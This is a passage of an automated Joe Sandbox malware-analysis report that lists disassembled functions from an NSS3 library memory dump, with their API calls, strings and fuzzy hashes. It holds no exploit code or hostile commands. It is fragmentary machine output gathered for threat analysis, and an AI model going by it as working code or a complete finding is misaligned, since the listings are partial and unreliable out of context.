Part of subcall function 6CF0D000: PORT_ZAlloc_Util.NSS3(00000108,?,6CF0DE74,6CEE7FFA,00000002,?,?,?,?,?,00000000,6CEE7FFA,00000000,?,6CF123B9,00000002), ref: 6CF0D008

PR_ExitMonitor.NSS3(FF000001,?,?,?,?,?,00000000,6CEE7FFA,00000000,?,6CF123B9,00000002,00000000,?,6CEE7FFA,00000002), ref: 6CF0DE57
memset.VCRUNTIME140(?,00000000,00000088), ref: 6CF0DEA5
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CF0E069
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CF0E121
PK11_FreeSymKey.NSS3(?), ref: 6CF0E14F
PK11_CreateContextBySymKey.NSS3(?,00000000,?,00000000), ref: 6CF0E195
PR_GetCurrentThread.NSS3 ref: 6CF0E1FC

Part of subcall function 6CF02460: PR_SetError.NSS3(FFFFE005,00000000,6CFA7379,00000002,?), ref: 6CF02493

Strings

key, xrefs: 6CF0E046
handshake data, xrefs: 6CF0DFF7
early application data, xrefs: 6CF0DFC9
application data, xrefs: 6CF0DFE0

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: ErrorValue$CriticalEnterK11_MonitorSection$Alloc_ContextCreateCurrentExitFreeLeaveThreadUtilmemset
String ID: application data$early application data$handshake data$key
API String ID: 1461918828-2699248424
Opcode ID: 1f5f9b76b1d56192fc808c081e00a389cfed3fb48bb43d4d8f4b1d0270375f14
Instruction ID: fc699f7920f1d75180ec6aa7fb0bbc8b07f4d2f6d45277ad1197ce1783fcf8c5
Opcode Fuzzy Hash: 1f5f9b76b1d56192fc808c081e00a389cfed3fb48bb43d4d8f4b1d0270375f14
Instruction Fuzzy Hash: 92C104B1B00215ABDB04CF65CC90BEAB7B4FF48708F144129E9199BA51E731E954DBE1

Function 6CDFECC0 Relevance: 20.0, APIs: 8, Strings: 3, Instructions: 741COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDFED0A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDFEE68
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDFEF87
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?), ref: 6CDFEF98

Strings

database corruption, xrefs: 6CDFF48D
%s at line %d of [%.10s], xrefs: 6CDFF492
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CDFF483

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 4101233201-598938438
Opcode ID: a79b9f5e62736777e097ac7db9201015dd8988d97f99dfc87e3f42c3e6f5917f
Instruction ID: 46a14c9df8f48d21dad094a4949e49b271d7e0c05dbb3892c1c732aff59966c3
Opcode Fuzzy Hash: a79b9f5e62736777e097ac7db9201015dd8988d97f99dfc87e3f42c3e6f5917f
Instruction Fuzzy Hash: FF620271A04245CFEB04CF64C88079ABBF1BF45318F1A419DD8A56BBA2D775E887CB90

Function 6CE9FC80 Relevance: 19.8, APIs: 13, Instructions: 311COMMON

Download Yara Rule

APIs

PK11_HPKE_NewContext.NSS3(?,?,?,00000000,00000000), ref: 6CE9FD06

Part of subcall function 6CE9F670: PORT_ZAlloc_Util.NSS3(00000038), ref: 6CE9F696
Part of subcall function 6CE9F670: PK11_FreeSymKey.NSS3(?,?,?), ref: 6CE9F789
Part of subcall function 6CE9F670: SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?), ref: 6CE9F796
Part of subcall function 6CE9F670: free.MOZGLUE(00000000,?,?,?,?,?), ref: 6CE9F79F
Part of subcall function 6CE9F670: SECITEM_DupItem_Util.NSS3 ref: 6CE9F7F0

Part of subcall function 6CEC3440: PK11_GetAllTokens.NSS3 ref: 6CEC3481
Part of subcall function 6CEC3440: PR_SetError.NSS3(00000000,00000000), ref: 6CEC34A3
Part of subcall function 6CEC3440: TlsGetValue.KERNEL32 ref: 6CEC352E
Part of subcall function 6CEC3440: EnterCriticalSection.KERNEL32(?), ref: 6CEC3542
Part of subcall function 6CEC3440: PR_Unlock.NSS3(?), ref: 6CEC355B

SECITEM_DupItem_Util.NSS3(?), ref: 6CE9FDAD

Part of subcall function 6CECFD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6CE79003,?), ref: 6CECFD91
Part of subcall function 6CECFD80: PORT_Alloc_Util.NSS3(A4686CED,?), ref: 6CECFDA2
Part of subcall function 6CECFD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686CED,?,?), ref: 6CECFDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6CE9FE00

Part of subcall function 6CECFD80: free.MOZGLUE(00000000,?,?), ref: 6CECFDD1

Part of subcall function 6CEBE550: PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEBE5A0

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE9FEBB
PK11_FreeSymKey.NSS3(00000000), ref: 6CE9FEC8
PK11_HPKE_DestroyContext.NSS3(00000000,00000001), ref: 6CE9FED3
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CE9FF0C
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CE9FF23
PK11_ImportSymKey.NSS3(?,?,00000004,82000105,?,00000000), ref: 6CE9FF4D
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CE9FFDA
PK11_ImportSymKey.NSS3(?,0000402A,00000004,0000010C,?,00000000), ref: 6CEA0007
PK11_CreateContextBySymKey.NSS3(?,82000105,?,?), ref: 6CEA0029
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CEA0044

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: K11_$ErrorUtil$Item_$Alloc_Context$FreeImportfree$CreateCriticalDestroyEnterSectionTokensUnlockValueZfreememcpy
String ID:
API String ID: 138705723-0
Opcode ID: 289e36bc0fc44874e093e62ead618817b596df14ca73ffb0eb156b0e6ee1d92c
Instruction ID: d8f36308aed779148212271541470e16ecbb455c14f9853b3c498fc2ef1cfbaa
Opcode Fuzzy Hash: 289e36bc0fc44874e093e62ead618817b596df14ca73ffb0eb156b0e6ee1d92c
Instruction Fuzzy Hash: EDB1D571604301AFE704CF29C881A6AB7F5FF88318F248A2DF95A97B41E774E945CB91

Function 6CE97D60 Relevance: 18.3, APIs: 12, Instructions: 299COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?), ref: 6CE97DDC

Part of subcall function 6CED07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CE78298,?,?,?,6CE6FCE5,?), ref: 6CED07BF
Part of subcall function 6CED07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CED07E6
Part of subcall function 6CED07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CED081B
Part of subcall function 6CED07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CED0825

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CE97DF3
PK11_PBEKeyGen.NSS3(?,00000000,00000000,00000000,?), ref: 6CE97F07
PK11_GetPadMechanism.NSS3(00000000), ref: 6CE97F57
PK11_UnwrapPrivKey.NSS3(?,00000000,00000000,?,0000001C,00000000,?,?,?,00000000,00000130,00000004,?), ref: 6CE97F98
PK11_FreeSymKey.NSS3(?), ref: 6CE97FC9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CE97FDE
PK11_PBEKeyGen.NSS3(?,?,00000000,00000001,?), ref: 6CE98000

Part of subcall function 6CEB9430: SECOID_GetAlgorithmTag_Util.NSS3(00000000,?,?,00000000,00000000,?,6CE97F0C,?,00000000,00000000,00000000,?), ref: 6CEB943B
Part of subcall function 6CEB9430: SECOID_FindOIDByTag_Util.NSS3(00000000,?,?), ref: 6CEB946B
Part of subcall function 6CEB9430: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?), ref: 6CEB9546

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CE98110
PK11_FreeSymKey.NSS3(00000000), ref: 6CE9811D
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6CE9822D
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CE9823C

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: K11_Util$FindItem_Tag_Zfree$ErrorFreeHashLookupPublicTable$AlgorithmConstDestroyImportMechanismPrivUnwrap
String ID:
API String ID: 1923011919-0
Opcode ID: 58cc49015ddc786e8231f9cf469740a7ba8acbc9fd02395434fa8e36e123fa45
Instruction ID: 2d24281e3e0496e5428717f4a41ffedb64ab4da6e2e289cd97131d7c7b30eff4
Opcode Fuzzy Hash: 58cc49015ddc786e8231f9cf469740a7ba8acbc9fd02395434fa8e36e123fa45
Instruction Fuzzy Hash: F9C171B1D402599FEB21CF14CC40FEAB7B8AF15348F1081EAE81DA6651E7319E89CF91

Function 6CEA0EC0 Relevance: 16.7, APIs: 11, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_PubDeriveWithKDF.NSS3 ref: 6CEA0F8D
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CEA0FB3
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6CEA1006
PK11_FreeSymKey.NSS3(?), ref: 6CEA101C
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CEA1033
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CEA103F
PK11_FreeSymKey.NSS3(00000000), ref: 6CEA1048
memcpy.VCRUNTIME140(?,?,?), ref: 6CEA108E
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CEA10BB
memcpy.VCRUNTIME140(?,00000006,?), ref: 6CEA10D6
memcpy.VCRUNTIME140(?,?,?), ref: 6CEA112E

Part of subcall function 6CEA1570: htonl.WSOCK32(?,?,?,?,?,?,?,?,6CEA08C4,?,?), ref: 6CEA15B8
Part of subcall function 6CEA1570: htonl.WSOCK32(?,?,?,?,?,?,?,?,?,6CEA08C4,?,?), ref: 6CEA15C1
Part of subcall function 6CEA1570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEA162E
Part of subcall function 6CEA1570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEA1637

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: K11_$FreeItem_Util$memcpy$AllocZfreehtonl$DeriveErrorWith
String ID:
API String ID: 1510409361-0
Opcode ID: acf1303c36c2adc98f2037e31beb2655c28b356b769be3ffeb0bb51adeaa2fe6
Instruction ID: c1aaaaeef1649f8d685af9f9bb74b4c3c81fd74748a80340bc0063da5bba33b6
Opcode Fuzzy Hash: acf1303c36c2adc98f2037e31beb2655c28b356b769be3ffeb0bb51adeaa2fe6
Instruction Fuzzy Hash: F671CDB5A00205CFDB00CFEACD81A6AB7B1BF4831CF24862DE9199B711E731D946CB81

Function 6CEC1CE0 Relevance: 16.2, APIs: 5, Strings: 4, Instructions: 401COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000020), ref: 6CEC1F19
memcpy.VCRUNTIME140(?,?,00000020), ref: 6CEC2166
memcpy.VCRUNTIME140(?,?,00000010), ref: 6CEC228F
memcpy.VCRUNTIME140(?,?,00000010), ref: 6CEC23B8
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CEC241C

Strings

token, xrefs: 6CEC1F2C
model, xrefs: 6CEC23CB, 6CEC23EC
serial, xrefs: 6CEC22A2
manufacturer, xrefs: 6CEC2179

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: memcpy$Error
String ID: manufacturer$model$serial$token
API String ID: 3204416626-1906384322
Opcode ID: c92a42b6f65c136550345a74105469263f596cb3a9a21512ed90bb581773bae8
Instruction ID: 576e514e4b1551d2f81f90d95ac58439aa13a898d4a2ffae0791dbc9b7f98d8d
Opcode Fuzzy Hash: c92a42b6f65c136550345a74105469263f596cb3a9a21512ed90bb581773bae8
Instruction Fuzzy Hash: 75022EA2F0C7C86EF7318271C54D3C76AB09B5532CF28266ED5BE46783C7A859488352

Function 6CEC6C00 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 190memorytimeCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CE71C6F,00000000,00000004,?,?), ref: 6CEC6C3F

Part of subcall function 6CF1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF1C2BF

PORT_ArenaAlloc_Util.NSS3(?,0000000D,?,?,00000000,00000000,00000000,?,6CE71C6F,00000000,00000004,?,?), ref: 6CEC6C60
PR_ExplodeTime.NSS3(00000000,6CE71C6F,?,?,?,?,?,00000000,00000000,00000000,?,6CE71C6F,00000000,00000004,?,?), ref: 6CEC6C94

Strings

gfff, xrefs: 6CEC6D66
gfff, xrefs: 6CEC6CFD
gfff, xrefs: 6CEC6D9C
gfff, xrefs: 6CEC6D30
gfff, xrefs: 6CEC6CF5

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Alloc_ArenaErrorExplodeTimeUtilValue
String ID: gfff$gfff$gfff$gfff$gfff
API String ID: 3534712800-180463219
Opcode ID: d06be53d8e4c462e88ad7e863c83aae4634d31343d5f5fd203506b1b79458b0f
Instruction ID: 8afb7e0f874174ba7ae3d15d8e57244789efd9fd93b84c8eaddcde5798eee182
Opcode Fuzzy Hash: d06be53d8e4c462e88ad7e863c83aae4634d31343d5f5fd203506b1b79458b0f
Instruction Fuzzy Hash: 7D513D72B015494FC708CDADDC527EEBBEA9BA4310F48C23AE441DB781D638D906C751

Function 6CF40F20 Relevance: 15.4, APIs: 3, Strings: 7, Instructions: 394stringCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,-00000001), ref: 6CF41027
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CF410B2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF41353

Strings

NULL, xrefs: 6CF4119E
$, xrefs: 6CF412A0
'%.*q', xrefs: 6CF41217, 6CF41292
%lld, xrefs: 6CF4114B
-- , xrefs: 6CF40FF5
%02x, xrefs: 6CF412F6
zeroblob(%d), xrefs: 6CF41223

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: memcpy$strlen
String ID: $$%02x$%lld$'%.*q'$-- $NULL$zeroblob(%d)
API String ID: 2619041689-2155869073
Opcode ID: 31c45118ff51b309db07591d637c263be561e19284e8c7fcc803ce02b5f9aa3e
Instruction ID: 2d91bcc0eea66363bcb70160bc868407fb532a36759b7f6c3610fecc56bd09e0
Opcode Fuzzy Hash: 31c45118ff51b309db07591d637c263be561e19284e8c7fcc803ce02b5f9aa3e
Instruction Fuzzy Hash: FCE19A71A083809FD710CF18C480A6BBFF5AF86348F14C92DE99587B52E771E959CB82

Function 6CF48FB0 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 289COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CF48FEE
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF490DC
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF49118
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF4915C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF491C2
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF49209

Strings

UUUU, xrefs: 6CF49255
3333, xrefs: 6CF4925E

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: _byteswap_ulong$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: 3333$UUUU
API String ID: 1967222509-2679824526
Opcode ID: 301932dc619482c148f62cf72f5f201b648e58cca3135a0e48edfbfde6226544
Instruction ID: 2527df29abe48669e9301366e68ee0caf7492bf329adc9409015c176781291f8
Opcode Fuzzy Hash: 301932dc619482c148f62cf72f5f201b648e58cca3135a0e48edfbfde6226544
Instruction Fuzzy Hash: 9CA19172E001159BDB04CB68CD91B9EBBB9BF48324F098129D915B7782EB36ED01CBD0

Function 6CE00FE0 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 227COMMON

Download Yara Rule

APIs

Part of subcall function 6CDFCA30: EnterCriticalSection.KERNEL32(?,?,?,6CE5F9C9,?,6CE5F4DA,6CE5F9C9,?,?,6CE2369A), ref: 6CDFCA7A
Part of subcall function 6CDFCA30: LeaveCriticalSection.KERNEL32(?), ref: 6CDFCB26

memset.VCRUNTIME140(00000000,00000000,00000C0A), ref: 6CE0103E
EnterCriticalSection.KERNEL32(?), ref: 6CE01139
LeaveCriticalSection.KERNEL32(?), ref: 6CE01190
sqlite3_free.NSS3(00000000), ref: 6CE01227
sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,00000001,0000BCFE), ref: 6CE0126E
sqlite3_free.NSS3(?), ref: 6CE0127F

Strings

winAccess, xrefs: 6CE0129B
delayed %dms for lock/sharing conflict at line %d, xrefs: 6CE01267

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavesqlite3_free$memsetsqlite3_log
String ID: delayed %dms for lock/sharing conflict at line %d$winAccess
API String ID: 2733752649-1873940834
Opcode ID: 96a2cceee60b16d84c96efd007025d432163ffa2babc67fe1f58751563a95198
Instruction ID: cc3c0fef98e8bd36d63f36c3e5476e31b7e63ac1216fd57019084489cc25b0b2
Opcode Fuzzy Hash: 96a2cceee60b16d84c96efd007025d432163ffa2babc67fe1f58751563a95198
Instruction Fuzzy Hash: 7D710932F052119BEB489FA4DC89B5B3775FB8731CF244229E8118BA80DB30E915D7D2

Function 6CE0AEC0 Relevance: 13.7, APIs: 9, Instructions: 242COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000002,?,6CF2CF46,?,6CDFCDBD,?,6CF2BF31,?,?,?,?,?,?,?), ref: 6CE0B039
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6CF2CF46,?,6CDFCDBD,?,6CF2BF31), ref: 6CE0B090
sqlite3_free.NSS3(?,?,?,?,?,?,6CF2CF46,?,6CDFCDBD,?,6CF2BF31), ref: 6CE0B0A2
CloseHandle.KERNEL32(?,?,6CF2CF46,?,6CDFCDBD,?,6CF2BF31,?,?,?,?,?,?,?,?,?), ref: 6CE0B100
sqlite3_free.NSS3(?,?,00000002,?,6CF2CF46,?,6CDFCDBD,?,6CF2BF31,?,?,?,?,?,?,?), ref: 6CE0B115
sqlite3_free.NSS3(?,?,?,?,?,?,6CF2CF46,?,6CDFCDBD,?,6CF2BF31), ref: 6CE0B12D

Part of subcall function 6CDF9EE0: EnterCriticalSection.KERNEL32(?,?,?,?,6CE0C6FD,?,?,?,?,6CE5F965,00000000), ref: 6CDF9F0E
Part of subcall function 6CDF9EE0: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6CE5F965,00000000), ref: 6CDF9F5D

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: CriticalSection$sqlite3_free$EnterLeave$CloseHandle
String ID:
API String ID: 3155957115-0
Opcode ID: 2b48a9c1edb8699325502c5a44b9db4f18f0976fa4f491bbb49f2012455743ce
Instruction ID: 46dbbe0d8887ca1d88134d125e6e044f0ba855dd2bfc001ce19e5af9f6af7f57
Opcode Fuzzy Hash: 2b48a9c1edb8699325502c5a44b9db4f18f0976fa4f491bbb49f2012455743ce
Instruction Fuzzy Hash: 3A91CBB1F4420A8FEB04DF64C885B6BB7B1BF46308B24462DE41697B50EB30E965CB91

Function 6CEDBD30 Relevance: 13.6, APIs: 9, Instructions: 102COMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6CEDBD48
NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6CEDBD68
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6CEDBD83
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6CEDBD9E
NSS_GetAlgorithmPolicy.NSS3(0000000A,?), ref: 6CEDBDB9
NSS_GetAlgorithmPolicy.NSS3(00000007,?), ref: 6CEDBDD0
NSS_GetAlgorithmPolicy.NSS3(000000B8,?), ref: 6CEDBDEA
NSS_GetAlgorithmPolicy.NSS3(000000BA,?), ref: 6CEDBE04
